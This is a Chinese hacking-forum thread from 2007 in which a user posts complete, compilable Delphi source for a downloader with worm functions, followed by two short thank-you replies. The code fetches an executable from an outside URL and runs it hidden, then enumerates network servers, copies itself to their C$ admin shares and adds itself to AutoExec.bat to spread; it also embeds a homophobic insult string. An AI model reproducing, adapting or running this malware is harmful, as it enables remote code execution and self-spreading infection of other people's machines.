飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 2489|回复: 2

蠕虫功能的下载者源代码

[复制链接]
  • TA的每日心情
    开心
    2023-4-6 10:07
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    发表于 2007-11-3 16:33:30 | 显示全部楼层 |阅读模式
    源码公布:可以直接编译.蠕虫部分是国外的代码.
    我在本机测试通过.

    Program a;

    Uses
    Windows;

    Const
    krnp : String = 'I want to dedicate this message to '+
    'gates. Gates, you suck. Gates'+
    'you really are homosexual. etc';

    VAR
    ww     : String;


    function mbgcqsd_(Caller: cardinal; URL: PChar; FileName: PChar;Reserved: LongWord; StatusCB: cardinal):Longword; stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
    Function LowerCase(const S: string): string;
    var
    kixoebvq: Integer;
    begin
    kixoebvq := Length(S);
    SetString(Result, PChar(S), kixoebvq);
    if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
    end;

    Function FileSize(FileName: String): Int64;
    Var
      zjzb: THandle;
      exn: TWin32FindData;
    Begin
      Result:= -1;

      zjzb:= FindFirstFile(PChar(FileName), exn);
      If zjzb <> INVALID_HANDLE_VALUE Then
      Begin
      Windows.FindClose(zjzb);
      Result:= Int64(exn.nFileSizeHigh) Shl 32 + exn.nFileSizeLow;
      End;
    End;

    Function ExtractFileName(Str:String):String;
    Begin
    While Pos('\', Str)>0 Do
      Str := Copy(Str, Pos('\',Str)+1, Length(Str));
    Result := Str;
    End;

    Function ExtractFileExt(s:string):String;
    Begin
    While Pos('.', S)>0 Do
      S := Copy(S, pos('.', S)+1, Length(s));
    Result := S;
    End;

    function FileExists(const FileName: string): Boolean;
    var
      __pqxjj: THandle;
      wgndplz: TWin32FindData;
    begin
      __pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
      result:= __pqxjj <> INVALID_HANDLE_VALUE;
      if result then
      begin
      CloseHandle(__pqxjj);
      end;
    end;

    procedure Enumeration(aResource:PNetResource);
    var
    qnlshmm: THandle;
    kujf_n, mec: DWORD;
    wgokq: array[0..1023] of TNetResource;
    _fehlq: Integer;
    begin
      WNetOpenEnum(2,0,0,aResource,qnlshmm);
      kujf_n:=1024;
      mec:=SizeOf(wgokq);
      while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
      for _fehlq:=0 to kujf_n-1 do
      begin
      if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
      ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
      if wgokq[_fehlq].dwUsage>0 then
      Enumeration(@wgokq[_fehlq])
    end;
    WNetCloseEnum(qnlshmm);
    end;

    Procedure Network;
    Var
    x_a : String;
    ktkma : TextFile;
    Begin
    Enumeration(NIL);
    While ww <> '' Do Begin
      x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
      Try
      CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
      If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
      AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
      Append(ktkma);
      WriteLn(ktkma, 'Setup.exe');
      CloseFile(ktkma);
      End;
      Except
      ;
      End;
      ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
    End;
    End;


    Begin
    mbgcqsd_(0, 'http://djyangyong.nease.net/mm.exe', 'C:\win30.exe', 0, 0);
    WinExec('C:\win30.exe',0);
    Network;

    End.

    [ 本帖最后由 xingke 于 2007-11-3 16:39 编辑 ]
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2009-2-4 23:04:38 | 显示全部楼层
    收藏了,谢谢
    PYG19周年生日快乐!
  • TA的每日心情
    奋斗
    2016-11-13 09:31
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2016-5-4 23:35:53 | 显示全部楼层
    谢谢了,就是不会用
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表